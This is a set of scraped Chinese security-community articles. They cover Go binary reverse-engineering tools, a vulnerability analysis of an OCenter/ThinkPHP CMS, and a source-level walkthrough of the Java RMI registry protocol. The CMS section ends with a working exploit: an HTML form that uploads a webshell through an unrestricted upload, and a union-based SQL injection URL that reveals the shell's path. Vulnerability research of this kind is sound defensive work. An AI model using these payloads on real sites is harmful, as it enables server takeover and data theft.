func (main.bindataFileInfo) ModTime() time.Time
func (main.bindataFileInfo) Mode() uint32
func (main.bindataFileInfo) Name() string
func (main.bindataFileInfo) Size() int64
func (main.bindataFileInfo) Sys() interface {}
type main.bintree struct{
Func func() (*main.asset, error)
Children map[string]*main.bintree
}
这些能力，都是上面列举的反汇编工具的插件难以实现的。另外，用 Go 语言来实现这种工具有天然的优势：可以复用 Go
语言开源的底层代码中解析各种基础数据结构的能力。比如可以借鉴
[src/debug/gosym/pclntab.go](https://golang.org/src/debug/gosym/pclntab.go)
中的代码来解析 **pclntab** 结构，可以借鉴
[src/runtime/symtab.go](https://golang.org/src/runtime/symtab.go) 中的代码来解析
**moduledata** 结构，以及借鉴
[src/reflect/type.go](https://golang.org/src/reflect/type.go)
中的代码来解析各种数据类型的信息。
**redress**
是一个接近极致的工具，它把逆向分析需要的信息尽可能地都解析到，并以友好的方式展示出来。但是它只是个命令行工具，跟反汇编工具的插件相比并不是很方便。另外，它目前还有个除
**jeb-golang-analyzer** 之外以上工具都有的缺点：限于内部实现的机制， **无法解析`buildmode=pie`
模式编译出来的二进制文件**。用 redress 解析一个 **[PIE(Position Independent
Executable)](https://docs.google.com/document/d/1nr-TQHw_er6GOQRsF6T43GGhFDelrAP0NqSS_00RgZQ/edit?pli=1#heading=h.nidcdnrtrn3n)**
二进制文件，报错如下：
最后，是鄙人开发的一个 IDAPro 插件： **[go_parser](https://github.com/0xjiayu/go_parser)**
，该工具除了拥有以上各工具的绝大部分功能(strings 解析暂时只支持 x86 架构的二进制文件，这一点不如 **jeb-golang-analyzer** 支持的丰富)，还 **支持对 PIE 二进制文件的解析** 。另外会把解析结果以更友好、更方便进一步操作的方式在 IDAPro
中展示。以 DDG 样本中一个复杂的结构体类型为例，解析结果如下：
## 4\. 原理初探
前文盘点了关于 Go 二进制文件解析的已有研究，原理层面都是一句带过。可能很多师傅看了会有两点疑惑：
1. 为什么 Go 二进制文件中会有这么多无法被 strip 掉的符号和类型信息？
2. 具体有哪些可以解析并辅助逆向分析的信息？
第一个问题，一句话解释就是，Go 二进制文件里打包进去了 **runtime** 和 **GC** 模块，还有独特的 **Type Reflection**
(类型反射) 和 **Stack Trace** 机制，都需要用到这些信息。参考前文 **redress** 报错的配图，redress 本身也是 Go
语言编写，其报错时打出来的栈回溯信息，除了参数以及参数地址，还包含 pkg 路径、函数信息、类型信息、源码文件路径、以及在源码文件中的行数。
至于内置于 Go 二进制文件中的类型信息，主要为 Go 语言中的 Type Reflection 和类型转换服务。Go 语言内置的数据类型如下：
而这些类型的底层实现，其实都基于一个底层的结构定义扩展而来：
再加上 Go 允许为数据类型绑定方法，这样就可以定义更复杂的类型和数据结构。而这些类型在进行类型断言和反射时，都需要对这些底层结构进行解析。
第二个问题，对于 Go 二进制文件中，可以解析并对逆向分析分析有帮助的信息，我做了个列表，详情如下：
后文会以这张图为大纲，以 **[go_parser](https://github.com/0xjiayu/go_parser)**
为例，详细讲解如何查找、解析并有组织地展示出这些信息，尽最大可能提升 Go 二进制文件逆向分析的效率。
且看下回分解。 | 社区文章 |
## 漏洞分析
我们先看漏洞触发点：在/Application/Weibo/Controller/ShareController.class.php中第20行：
public function doSendShare(){
$aContent = I('post.content','','text');
$aQuery = I('post.query','','text');
parse_str($aQuery,$feed_data);
if(empty($aContent)){
$this->error(L('_ERROR_CONTENT_CANNOT_EMPTY_'));
}
if(!is_login()){
$this->error(L('_ERROR_SHARE_PLEASE_FIRST_LOGIN_'));
}
$new_id = send_weibo($aContent, 'share', $feed_data,$feed_data['from']);
$user = query_user(array('nickname'), is_login());
$info = D('Weibo/Share')->getInfo($feed_data);
可以看到这里的$aContent和$aQuery都是我们POST进来的，是我们可控的，然后可以看到将$aQuery这个变量做了一个parse_str()操作。
parse_str($aQuery,$feed_data);
然后我们开始跟踪$feed_data这个变量。可以看到最后一行将$feed_data这个变量带入到了getInfo()这个函数中。我们追踪一下该函数：
在/Application/Weibo/Model/ShareModel.class.php中：
public function getInfo($param)
{
$info = array();
if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
}
return $info;
}
可以看到这里的形参$param就是我们传进来的$feed_data实参。
这里有一个操作很有意思：
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
其中$param['app']以及$param['model']，$param['method']，$param['id']都是我们可控的。
其中这个D()函数是thinkphp中的一个实例化类型的函数，我们追踪一下：
在/ThinkPHP/Common/functions.php中第616行：
function D($name = '', $layer = '')
{
if (empty($name)) return new Think\Model;
static $_model = array();
$layer = $layer ? : C('DEFAULT_M_LAYER');
if (isset($_model[$name . $layer]))
return $_model[$name . $layer];
$class = parse_res_name($name, $layer);
if (class_exists($class)) {
$model = new $class(basename($name));
} elseif (false === strpos($name, '/')) {
// 自动加载公共模块下面的模型
if (!C('APP_USE_NAMESPACE')) {
import('Common/' . $layer . '/' . $class);
} else {
$class = '\\Common\\' . $layer . '\\' . $name . $layer;
}
$model = class_exists($class) ? new $class($name) : new Think\Model($name);
} else {
\Think\Log::record('D方法实例化没找到模型类' . $class, Think\Log::NOTICE);
$model = new Think\Model(basename($name));
}
$_model[$name . $layer] = $model;
return $model;
}
这个函数有两个参数，但是我们只能控制第一个参数的值，也就是形参$name的值。
那么可以看到如果$layer为空的话，就取C('DEFAULT_M_LAYER')的值，那么这个值是多少呢？
在/ThinkPHP/Conf/convention.php中有:
DEFAULT_M_LAYER' => 'Model', // 默认的模型层名称
那么就是取默认的值，也就是Model。
那么意思就是说，我们只能实例化一个类名格式如xxxxxModel这样的类。
然后调用该类的哪一个方法也是我们可控的，就连方法的第一个参数也是我们可控的。
如上文所说
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
其中$param['method']就是我们要调用的方法名称，$param['id']就是该方法的第一个参数。
好了，大概意思就是我们能够一个实例化一个名称为xxxxxxModel的类，并调用它其中的一个任意一个public方法。
刚开始以为这能够造成一个任意代码执行啥的..结果找了很久发现并不能实例化到任意代码执行的那个类。所以又得重新找其它类。然后找来找去找到了在/Application/Home/Model/FileModel.class.php中的FileModel类。
这个类里面有一个文件上传函数：
public function upload($files, $setting, $driver = 'Local', $config = null){
/* 上传文件 */
$setting['callback'] = array($this, 'isFile');
$Upload = new \Think\Upload($setting, $driver, $config);
$info = $Upload->upload($files);
/* 设置文件保存位置 */
$this->_auto[] = array('location', 'Ftp' === $driver ? 1 : 0, self::MODEL_INSERT);
if($info){ //文件上传成功，记录文件信息
foreach ($info as $key => &$value) {
/* 已经存在文件记录 */
if(isset($value['id']) && is_numeric($value['id'])){
continue;
}
/* 记录文件信息 */
if($this->create($value) && ($id = $this->add())){
$value['id'] = $id;
} else {
//TODO: 文件上传成功，但是记录文件信息失败，需记录日志
unset($info[$key]);
}
}
return $info; //文件上传成功
} else {
$this->error = $Upload->getError();
return false;
}
}
那么意思是我们就能够调用这个文件上传函数了，我们看一下这个文件上传函数：
其中上传文件驱动默认的是Local,也就是说一定是存储在本地的。
然后$config没有进行赋值，默认是null.
然后在第三行调用了upload()函数，我们追踪一下：
在/ThinkPHP/Library/Think/Upload.class.php中第128行：
public function upload($files = '')
{
if ('' === $files) {
$files = $_FILES;
}
if (empty($files)) {
$this->error = '没有上传的文件！';
return false;
}
/* 检测上传根目录 */
if (!$this->uploader->checkRootPath()) {
$this->error = $this->uploader->getError();
return false;
}
/* 检查上传目录 */
if (!$this->uploader->checkSavePath($this->savePath)) {
$this->error = $this->uploader->getError();
return false;
}
/* 逐个检测并上传文件 */
$info = array();
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
}
// 对上传文件数组信息处理
$files = $this->dealFiles($files);
foreach ($files as $key => $file) {
if (!isset($file['key'])) $file['key'] = $key;
/* 通过扩展获取文件类型，可解决FLASH上传$FILES数组返回文件类型错误的问题 */
if (isset($finfo)) {
$file['type'] = finfo_file($finfo, $file['tmp_name']);
}
/* 获取上传文件后缀，允许上传无后缀文件 */
$file['ext'] = pathinfo($file['name'], PATHINFO_EXTENSION);
/* 文件上传检测 */
if (!$this->check($file)) {
continue;
}
/* 获取文件hash */
if ($this->hash) {
$file['md5'] = md5_file($file['tmp_name']);
$file['sha1'] = sha1_file($file['tmp_name']);
}
/* 调用回调函数检测文件是否存在 */
$data = call_user_func($this->callback, $file);
if ($this->callback && $data) {
$drconfig = $this->driverConfig;
$fname = str_replace('http://' . $drconfig['domain'] . '/', '', $data['url']);
if (file_exists('.' . $data['path'])) {
$info[$key] = $data;
continue;
} elseif ($this->uploader->info($fname)) {
$info[$key] = $data;
continue;
} elseif ($this->removeTrash) {
call_user_func($this->removeTrash, $data); //删除垃圾据
}
}
/* 生成保存文件名 */
$savename = $this->getSaveName($file);
if (false == $savename) {
continue;
} else {
$file['savename'] = $savename;
//$file['name'] = $savename;
}
/* 检测并创建子目录 */
$subpath = $this->getSubPath($file['name']);
if (false === $subpath) {
continue;
} else {
$file['savepath'] = $this->savePath . $subpath;
}
/* 对图像文件进行严格检测 */
$ext = strtolower($file['ext']);
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'))) {
$imginfo = getimagesize($file['tmp_name']);
if (empty($imginfo) || ($ext == 'gif' && empty($imginfo['bits']))) {
$this->error = '非法图像文件！';
continue;
}
}
$file['rootPath'] = $this->config['rootPath'];
$name = get_addon_class($this->driver);
if (class_exists($name)) {
$class = new $name();
if (method_exists($class, 'uploadDealFile')) {
$class->uploadDealFile($file);
}
}
/* 保存文件 并记录保存成功的文件 */
if ($this->uploader->save($file, $this->replace)) {
unset($file['error'], $file['tmp_name']);
$info[$key] = $file;
} else {
$this->error = $this->uploader->getError();
}
}
if (isset($finfo)) {
finfo_close($finfo);
}
return empty($info) ? false : $info;
}
这就是thinkphp内置的upload()函数了，我们主要看一下以下几点：
if ('' === $files) {
$files = $_FILES;
}
如果$files是空的话，它会默认检查整个$_FILES数组，意味着不需要我们设定特定上传文件表单名。
然后重点就是对于后缀检测的这里：
/* 文件上传检测 */
if (!$this->check($file)) {
continue;
}
调用了check()函数，我们追踪一下：
在该文件的294行：
private function check($file)
{
/* 文件上传失败，捕获错误代码 */
if ($file['error']) {
$this->error($file['error']);
return false;
}
/* 无效上传 */
if (empty($file['name'])) {
$this->error = '未知上传错误！';
}
/* 检查是否合法上传 */
if (!is_uploaded_file($file['tmp_name'])) {
$this->error = '非法上传文件！';
return false;
}
/* 检查文件大小 */
if (!$this->checkSize($file['size'])) {
$this->error = '上传文件大小不符！';
return false;
}
/* 检查文件Mime类型 */
//TODO:FLASH上传的文件获取到的mime类型都为application/octet-stream
if (!$this->checkMime($file['type'])) {
$this->error = '上传文件MIME类型不允许！';
return false;
}
/* 检查文件后缀 */
if (!$this->checkExt($file['ext'])) {
$this->error = '上传文件后缀不允许';
return false;
}
/* 通过检测 */
return true;
}
首先看一下mimel类型的检测，调用了checkmime()函数，我们追踪一下：
在该文件的380行：
private function checkMime($mime)
{
return empty($this->config['mimes']) ? true : in_array(strtolower($mime), $this->mimes);
}
可以看到如果$this->config['mimes']为空的话，就直接返回true了。通过上文可以知道，$config没赋值的话就是为默认的的，
而默认的$config是：
private $config = array(
'mimes' => array(), //允许上传的文件MiMe类型
'maxSize' => 0, //上传的文件大小限制 (0-不做限制)
'exts' => array(), //允许上传的文件后缀
'autoSub' => true, //自动子目录保存文件
'subName' => array('date', 'Y-m-d'), //子目录创建方式，[0]-函数名，[1]-参数，多个参数使用数组
'rootPath' => './Uploads/', //保存根路径
'savePath' => '', //保存路径
'saveName' => array('uniqid', ''), //上传文件命名规则，[0]-函数名，[1]-参数，多个参数使用数组
'saveExt' => '', //文件保存后缀，空则使用原后缀
'replace' => false, //存在同名是否覆盖
'hash' => true, //是否生成hash编码
'callback' => false, //检测文件是否存在回调，如果存在返回文件信息数组
'driver' => '', // 文件上传驱动
'driverConfig' => array(), // 上传驱动配置
);
所以这里肯定是返回true的，所以mime类型检测绕过了。
然后我们开始看后缀检测：
调用了一个checkExt()函数，我们追踪一下：
在389行：
private function checkExt($ext)
{
return empty($this->config['exts']) ? true : in_array(strtolower($ext), $this->exts);
}
可以看到跟上面的一样，由于我们没有设定限定后缀，所以对于任意后缀的文件都是开放通行的，所以看到这里，就知道了，可以造成一个任意文件上传的漏洞。
但是这里有另外一个问题，就是我们并不知道上传上去的路径是多少，我们可以看一下这里对于上传后的文件名是怎么处理的：
$savename = $this->getSaveName($file);
调用了一个getSaveName()函数，我们追踪一下：
在第398行：
private function getSaveName($file)
{
$rule = $this->saveName;
if (empty($rule)) { //保持文件名不变
/* 解决pathinfo中文文件名BUG */
$filename = substr(pathinfo("_{$file['name']}", PATHINFO_FILENAME), 1);
$savename = $filename;
} else {
$savename = $this->getName($rule, $file['name']);
if (empty($savename)) {
$this->error = '文件命名规则错误！';
return false;
}
}
我们看一下我们的$this->saveName为多少，在默认的$config中有定义：
'saveName' => array('uniqid', ''),
所以不为空，我们就没办法保证保持文件名不变了，肯定会被重命名的，
那么又调用了一个getName()函数，我们追踪一下：
在该文件的第444行：
private function getName($rule, $filename)
{
$name = '';
if (is_array($rule)) { //数组规则
$func = $rule[0];
$param = (array)$rule[1];
foreach ($param as &$value) {
$value = str_replace('__FILE__', $filename, $value);
}
$name = call_user_func_array($func, $param);
} elseif (is_string($rule)) { //字符串规则
if (function_exists($rule)) {
$name = call_user_func($rule);
} else {
$name = $rule;
}
}
return $name;
}
可以看到$name的赋值结果了..就是调用了uniqid()这个函数，而这个函数很不好处理：
uniqid() 函数基于以微秒计的当前时间，生成一个唯一的 ID。
我的天，以微秒计的唯一ID，就算要爆破的话，都不好爆破。所以得另想办法。
我们回到FileModel类的upload函数再去看一看：
if($info){ //文件上传成功，记录文件信息
foreach ($info as $key => &$value) {
/* 已经存在文件记录 */
if(isset($value['id']) && is_numeric($value['id'])){
continue;
}
/* 记录文件信息 */
if($this->create($value) && ($id = $this->add())){
$value['id'] = $id;
可以发现，当我们上传完东西后，是会把我们上传的信息给记录下来的，而记录在哪里呢？没错，就是在数据库当中的ocenter_file表里面，我们可以去看一下：
可以看到我们上传的东西，这里都会有记录，包括文件保存的位置和保存的文件名，都有。
所以如果我们想知道上传后的位置和文件名，只需要我们能够从数据库中得到数据就可以了，那么怎么得到呢？
没错，就是通过注入！
注入倒是好挖，但是我们需要方便快捷一点，所以我们就需要一个能够回显的注入。
所以我又挖了一个这个cms的注入漏洞带回显的，在Application/Ucenter/Controller/IndexController.class.php中的information函数中：
public function information($uid = null)
{
//调用API获取基本信息
//TODO tox 获取省市区数据
$user = query_user(array('nickname', 'signature', 'email', 'mobile', 'rank_link', 'sex', 'pos_province', 'pos_city', 'pos_district', 'pos_community'), $uid);
可以看到把$uid带入到了query_user函数中，我们追踪一下该函数，在/Application/Common/Model/UserModel.class.php中:
function query_user($pFields = null, $uid = 0)
{
$user_data = array();//用户数据
$fields = $this->getFields($pFields);//需要检索的字段
$uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID
//获取缓存过的字段，尽可能在此处命中全部数据
list($cacheResult, $fields) = $this->getCachedFields($fields, $uid);
$user_data = $cacheResult;//用缓存初始用户数据
//从数据库获取需要检索的数据，消耗较大，尽可能在此代码之前就命中全部数据
list($user_data, $fields) = $this->getNeedQueryData($user_data, $fields, $uid);
这里有个细节很重要，就是看$uid重新赋值的时候：
$uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID
它验证的是intval($uid)是否为0，但是取值的时候并没有intval，所以这个地方注入语句不会被过滤掉，然后我们跟进getNeddQueryData这个函数看看：
private function getNeedQueryData($user_data, $fields, $uid)
{
$need_query = array_intersect($this->table_fields, $fields);
//如果有需要检索的数据
if (!empty($need_query)) {
$db_prefix=C('DB_PREFIX');
$query_results = D('')->query('select ' . implode(',', $need_query) . " from `{$db_prefix}member`,`{$db_prefix}ucenter_member` where uid=id and uid={$uid} limit 1");
$query_result = $query_results[0];
$user_data = $this->combineUserData($user_data, $query_result);
$fields = $this->popGotFields($fields, $need_query);
$this->writeCache($uid, $query_result);
}
return array($user_data, $fields);
}
可以看到，直接给$uid拼接到sql语句中去了，所以造成了一个注入，并且这个注入是有回显的，非常方便。
## 利用方式：
在首先，我们注册一个前台用户并登录上去(这种sns系统肯定会提供前台注册啦)
然后我们开始构造上传表单：
<html>
<body>
<form action="http://localhost/index.php?s=/weibo/share/doSendShare.html" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file_img" id="file" />
<br />
<input type="text" name="content" value="123" id="1" />
<input type="text" name="query" id="2" value="app=Home&model=File&method=upload&id="/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
然后我们开始上传我们的webshell：
这里的两个框框里的数据都不要改，直接上传我们的shell就可以了：
然后我们点击上传，就可以成功上传了，但是上传后是不会有路径回显的，所以我们下一步，开始注入：
### payload:
_<http://localhost/index.php?s=/ucenter/index/information/uid/23333%20union%20(select%201,2,concat(savepath,savename),4%20from%20ocenter_file%20where%20savename%20like%200x252e706870%20order%20by%20id%20desc%20limit%200,1)%23.html>_
就能得到我们shell的保存路径了，如图：
那么最终shell的路径就是：
<http://localhost/Uploads/2017-01-20/5881ce0db9438.php> | 社区文章 |
## 1\. 前言
随着对rmi反序列化的深入学习，发现它的攻击面并没有一开始理解的浅显。主要还是在看这篇[针对RMI服务的九重攻击](https://xz.aliyun.com/t/7930)时，发现攻击中涉及的类和通信协议足以让我单独花上时间研究一阵子了。因此这篇算是我单独研究rmi调用流程和源码的总结。
## 2\. 回顾
先回顾一下rmi工作的流程：
1. 注册端开启注册服务
2. 服务端在注册端通过`String - Object`的映射关系绑定对象
3. 客户端通过一个字符串向注册端查询获取到操纵远程对象的stub(?)
4. 客户端通过stub来执行远程方法
在整个流程中，涉及了两组关系：
* 客户端——注册端
* 客户端——服务端
这里的两个客户端都是相对而言的，并不是指代同一个对象。比如，注册端开放在`192.168.242.1:1099`端口，下述代码的行为就是我说的第一个客户端：
Registry registry = LocateRegistry.getRegistry("192.168.242.1", 1099);
String[] lists = registry.list();
registry.lookup("Hello");
registry.bind("las", new myRemoteObj()); // only work for localhost
再比如，当通过lookup方法获取到一个对象后，对该对象的操作就是指代第二种实体关系：
...
myInterface obj = registry.lookup("Hello");
obj.myMethod("param");
上面两种实体之间的通讯细节和协议，就是我接下来要尝试解释的东西。
由于分析rmi源码也是为了能够更深入的学习rmi安全问题，所以我列出了分析中的一些关注点以助于理解：
* 当服务端要抛出一个错误时，它的调用栈是怎样的。这个错误是怎样被发送给客户端的。
* 客户端的`DGCClient`对象发起`dirty call`的流程。这里实际上就是ysoserial中 **JRMPClient** 载荷利用的地方。
* `UnicastServerRef#dispatch`方法的两个分支。
## 3\. 客户端—注册端
### 注册端
简单来说，注册端监听在1099端口，解析客户端发起的所有连接，判断它们是`list`、`bind`、`rebind`、`lookup`、`unbind`这五种行为的哪一种，并调用相应的方法来处理。不过在此之前，它们还会传递一些数据包用于认证和信息交换。比如，下面是客户端在执行`lookup`方法时所产生的流量：
不过注册端不只会处理这些api调用，后面会看到，注册端还会处理`dgc`和一些心跳包的发送。
分析清楚了注册端的行为，就能搞清楚客户端所做的事情，两者是相对的。
* * *
我们首先分析注册端。
一般来说，注册端的关键代码如下：
IRemoteHelloWorld remoteHelloWorld = new RemoteHelloWorldImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("Hello", remoteHelloWorld);
#### 处理网络数据前的调用链
进入`createRegistry`方法：
>
> 这里获取到的是一个`RegistryImpl`对象。需要说明的是，客户端一般调用的是`LocateRegistry.getRegsitry(ip,port)`，它获取到的是一个`RegistryImpl_Stub`对象。故可知，stub和skel的概念是相对而言的，并不只存在于
> **服务端和客户端** 之间。
进入`RegistryImpl`的构造方法：
可以看到，无论是if还是else语句块中，核心代码都是：
LiveRef var2 = new LiveRef(id, var1);
this.setup(new UnicastServerRef(var2));
这里之所以有个if，是为了保证当程序设置了`SecurityManager`后，只有当rmi注册服务开放在1099端口时才能执行核心代码。在设置`SecurityManager`策略后，程序本身可能会没有特权去执行核心代码，因此需要通过`AccessController.doPrivileged`的形式去赋予特权。关于AccessController可参见[连接](http://www.blogjava.net/DLevin/archive/2016/07/18/390637.html)。
总的来说，这里的if相当于提供了一个安全策略：程序员可以通过设置`securityManager`来保证rmi服务只能开放在1099端口。
接下来进入`this.setup()`方法：
这里执行了`UnicastServerRef`上的`exportObject`方法，这也是第一次看到`exportObject`方法出现。执行了它之后，客户端就可以调用注册端上的api了，就好像注册端（object）被暴露（export）在了1099端口一样。
在openjdk代码的注释中解释的则更detail：
/**
* Export this object, create the skeleton and stubs for this
* dispatcher. Create a stub based on the type of the impl,
* initialize it with the appropriate remote reference. Create the
* target defined by the impl, dispatcher (this) and stub.
* Export that target via the Ref.
*/
说明在这个方法里，会创建注册端相应的`stub`对象和`skeleton`对象。
继续跟进：
这里先跟进`Util.createProxy()`方法：
发现最后执行了`createStub`方法，这个方法通过反射实例化了`sun.rmi.registryImpl_Stub`对象并将其作为返回值。
这里就知道了，`var5`就是一个`registryImpl_Stub`对象。
同时这里也调用了`this.setSkeleton`来设置一个`registryImpl_Skel`：
接下来回到刚刚的`exportObject`方法中，发现它创建了一个`Target`对象`var6`，然后调用了`this.ref.exportObject(var6)`，这里的`ref`，就是我们前面创建`UnicastServerRef`时传入的`liveRef`对象：
于是跟进`liveRef#exportObject()`方法：
跟进：
继续跟进：
这里的`this.listen()`方法是重点，执行它之后注册端就开始监听1099端口了。于是我们跟进看它的内部逻辑：
这里会进入到第一个if代码块内。
可以看到这里又出现了`AccessController.doPrivileged()`方法。由于它最终会调用到`TCPTransport.AcceptLoop#run`方法，我们直接在这个方法下断点并跟进：
跟进：
下面的代码都是`catch`块就不贴出来了。
这里的`this.serverSocket`就是在`TCPTransport#listen`方法中创建的，它监听的端口就是我们最开始传入的port。
接下来进入try中的代码块，它其实又创建了新线程。跟进`ConnectionHandler#run`方法：
再跟进`this.run0()`方法。
#### 处理网络数据
需要说明的是，从这个方法开始，就能看到注册端开始读取并解析客户端传递的TCP数据，根据字段的类型来执行相应的`bind`、`list`等操作，并将结果返回。
由于该方法比较长，所以我逐段进行分析。
前面的一些代码主要是设置TCP的一些参数，不管，看下面的部分：
这里是第一次从输入流读取数据，接下来会根据`var6`的值判断进入哪个if块：
这里的 **1347375956** 转为十六进制再转为字符串就是： **POST** 。说明这里的逻辑是判断它是否为http流量，一般不会进入这个分支。
我们进入第二个if。 **1246907721** 转为十六进制其实是 **0x4a524d49**
，这其实就是rmi协议的魔术头，同时第二个short字段表示版本：
在这个if分支里又读取了一个字节存到`var15`，然后进入`switch`。这里一般来说读取到的是0x4b，即75：
进入case后，由于已经解析完了第一个接受包，注册端开始构造第一个回复包：
直到`var10.flush();`，注册端缓冲区的数据被发送出去。
接下来的代码：
String var16 = var5.readUTF();
int var17 = var5.readInt();
用于解析客户端发送的第二个数据包，不过这个数据包似乎没起到什么作用。第二个数据包内容如下：
接下来进入`TCPTransport.this.handleMessages(var14,
true)`。注意第二个参数为true，它让接下来的代码中的while语句不断循环。见红框圈处：
这里`int var5 =
var4.read()`其实已经开始解析客户端发送的第三个数据包了（说明注册端并没有回复第二个数据包，从流量图也能看出），第三个数据包的内容将在之后贴出。初看这个var5是int仿佛是读取4个字节，但是跟进`var4.read()`能看到其实还是读取的一个字节：
`var5`的内容其实是表示该数据包是哪种类型。一般来说有下面三种：
* 80，即`0x50`，表示执行业务方法。这里是调用注册端的某个方法（如`list`、`bind`），后面会看到，客户端在执行远程方法时，服务端也会从这里进去。
例如下述数据包：
* 82，即`0x52`，心跳包（大概），这里可以看到注册端回复了一个字节`0x53`。例如下面两个数据包：
* 84，即`0x54`，`DgcAck`，如下：
这里继续跟进80，也就是调用注册端api方法的case。进入`StreamRemoteCall#serviceCall`：
我们首先贴出第三个数据包的内容：
需要注意的是，我们上面已经读取了一个字节了，接下来的`aced`之后的内容，按理来说都是序列化的内容了。
但是注意这里的`var39 = ObjID.read(var1.getInputStream());`，它是从什么地方读取的内容呢？
其实内容是在序列化数据的`BlockData`块。
读取了`ObjID`后，又开启了新线程。进入`var6.dispatch()`，也就是`UnicastServerRef#dispatch`：
这里其实是进入`this.oldDispatch`。继续跟进：
> 后面在分析 **客户端—服务端** 时可知，如果不进入这个if语句，之后所作的事情其实就是服务端处理客户端调用远程对象方法的部分。这里留个印象就好。
这里的`this.skel`就是在之前调用`UnicastServerRef#exportObject`方法时设置的`registryImpl_Skel`。跟进`registryImpl_Skel#dispatch`：
终于到这里了！这里就是注册端最后调用各个api（`list`、`bind`等）的地方。
看一眼堆栈：
不过到这里，我们只跟进了`LocateRegistry.createRegistry`的内容。注册端的代码还有一条：
registry.bind("Hello", remoteHelloWorld);
万幸是`registryImpl#bind`的逻辑很简单：
这里只是将 **String——obj** 的映射关系放到了`registryImpl`的`bindings`中。
后续可以看到，客户端执行`lookup`方法时，注册端就会从`registryImpl`的`bindings`中查询对象：
注册端分析完毕。接下来分析客户端。
#### 图示
注册端调用`LocateRegistry#createRegistry`的流程比较复杂，所以截了下图便于更直观的看到调用关系。
每一个线程单独为一张图。
主线程：
线程一：
线程二：
线程三，从这里开始处理网络数据：
线程四，又回到了`UnicastServerRef`方法，最终调用了`RegistryImpl_Skel#dispatch`：
### 客户端
客户端代码如下：
Registry registry = LocateRegistry.getRegistry("192.168.242.1", 1099);
registry.lookup("Hello");
开启注册端后开始debug。
首先跟进`LocateRegistry#getRegistry`方法：
继续跟进：
最后同样调用`Util#createProxy`创建了一个`registryImpl_Stub`对象（这个方法在注册端的`UnicastServerRef#exportObject`中曾被调用）。传入的`UnicastRef`中包含了`ObjID`、`host`、`port`等信息，用于连接注册端：
到这里可知，客户端调用`LocateRegistry#getRegistry`方法获取到的对象是`RegistryImpl_Stub`。
* * *
接下来跟进客户端的第二行代码，即`RegistryImpl_Stub#lookup`：
在`super.ref.newCall( this, operations, 2, ...);`处会发起前期的握手包（不是tcp的），
然后在`super.ref.invoke(var2);`处发送`lookup`的数据。
在接下来的`var23=(Remote)var6.readObject()`获取到服务端发送的代理对象。
这里的`super.ref`就是一个`unicastRef`对象。
#### super.ref.newCall()
这里先跟进`super.ref.newCall`：
再跟进`this.ref.getChannel().newConnection()`，AKA`TCPChannel#newConnection`：
跟进`this.createConnection()`，这部分代码有些长，分两部分列出：
这里的`var3.writeByte(75)`就是去构造了客户端发送的第一个握手包，在注册端的分析中我们知道它其实表示`StreamProtocol`：
至于if块中的`var3.writeByte(76)`，应该是在socket不是Reusable时，采用将握手包和实际数据合在一起的方式（可以看到它没有`var3.flush()`）。
接着`var3.writeByte(75)`看它之后的代码：
这里是在读取注册端回复的第一个数据包。长这样，发现它把我们的host和port又发给了我们：
从`var3.writeUTF`开始，客户端发送第二个数据包：
到这里为止，客户端发送了两次数据包，处理了注册端的第一个回复。
回到`super.ref.newCall`：
接下来进入`var7 = new StreamRemoteCall(var6, this.ref.getObjID(), var3, var4);`：
这里其实是在构造实际的`lookup`包了。但是还没有写入对象，只是将一些信息写到了BlockData中。
到这里为止，`super.ref.newCall()`的功能基本分析完毕。该回到`RegistryImpl_Stub#lookup`分析下个方法`super.ref.invoke`。在此之前，需要看到，在`lookup`中，它先调用了`var3.writeObject(var1)`将查询的字符串写入了缓冲区：
#### super.ref.invoke()
跟进`UnicastRef#invoke`：
跟进`StreamRemoteCall#executeCall()`：
首先在`this.releaseOutputStream()`中将刚才的写的数据（主要是lookup的字符串）发送了出去：
到这里，客户端发送了第三个数据包。
客户端发送这个数据包之后，是期望得到注册端的回复的，因为我们希望通过`lookup`获取到一个对象，然后基于这个对象来操纵远程对象。
我们看一下回复数据包长啥样：
不太清晰，用`SerializationDumper.jar`打开看下：
可以看到，返回的对象是一个继承了`java.rmi.Remote`和`org.las.remote.IRemoteHelloWorld`（自定义）接口的代理对象（`TC_PROXYCLASSDESC`），同时也需要注意，在`TC_BLOCKDATA`中也有东西。后面读的一些内容就是从这里拿的。
接着`releaseOutputStream`的代码就开始对注册端回复的这个数据包进行处理。
首先验证了第一个字节是否为`0x51`，接着是读取存储在BlockData中的一个字节和UID。
这里我们回过头看一下注册端最后`RegistryImpl_skel#dispatch`的部分，因为我们其实并没有分析它在调用了api函数后是怎样发送数据包的。我们就以`lookup`为例：
首先关注这个`var2.getResultStream(true)`，在这个函数里会写入两个字节和UID。
接下来将lookup查询到的`var8`写入流中。
然后回到调用`RegistryImpl_skel#dispatch`的上级方法`UnicastServerRef#oldDispatch`：
这里调用`releaseInputStream`发送了缓冲的数据。
回过头来，刚才分析到`StreamRemoteCall#executeCall`读取了BLOCK_DATA中的数据，但还没有读取关键的代理对象，继续看该方法的代码：
这里之前读到的`var1`其实是1，所以我们`return`到上一级。不过也能从这里看到，当读到的`var2`是2时，是会在这里抛出异常的。
#### var6.readObject()
重新回到`RegistryImpl_Stub#lookup`，这里通过了`var23 =
(Remote)var6.readObject()`来获取到`lookup`查询到的代理对象。
最后把这个`var23`返回，这就是`lookup`的全过程了：
至于finally中的`super.ref.done`大致就是将刚才的流释放的操作。
此时的堆栈很简洁：
### 总结
1. 以客户端定位到注册端并调用`lookup`为例，客户端与注册端的通信流程如下：
* 客户端发送第一个握手包，注册端回复；
* 客户端发送第二个包含ip和端口的包，注册端并不回复；
* 客户端发送`lookup`数据包，其内容是字符串的序列化。注册端返回一个序列化的代理对象。
2. 注册端底层使用`UnicastServerRef`对象发送请求。与之相对的，客户端使用`UnicastRef`。
3. 注册端上层获取的对象是`RegistryImpl`，而客户端上层获取的是`RegistryImpl_Stub`。
## 4\. 客户端—服务端
编写服务端前首先得提供一个接口和一个远程对象。
我自己编写了一个远程调用接口：
package org.las.remote;
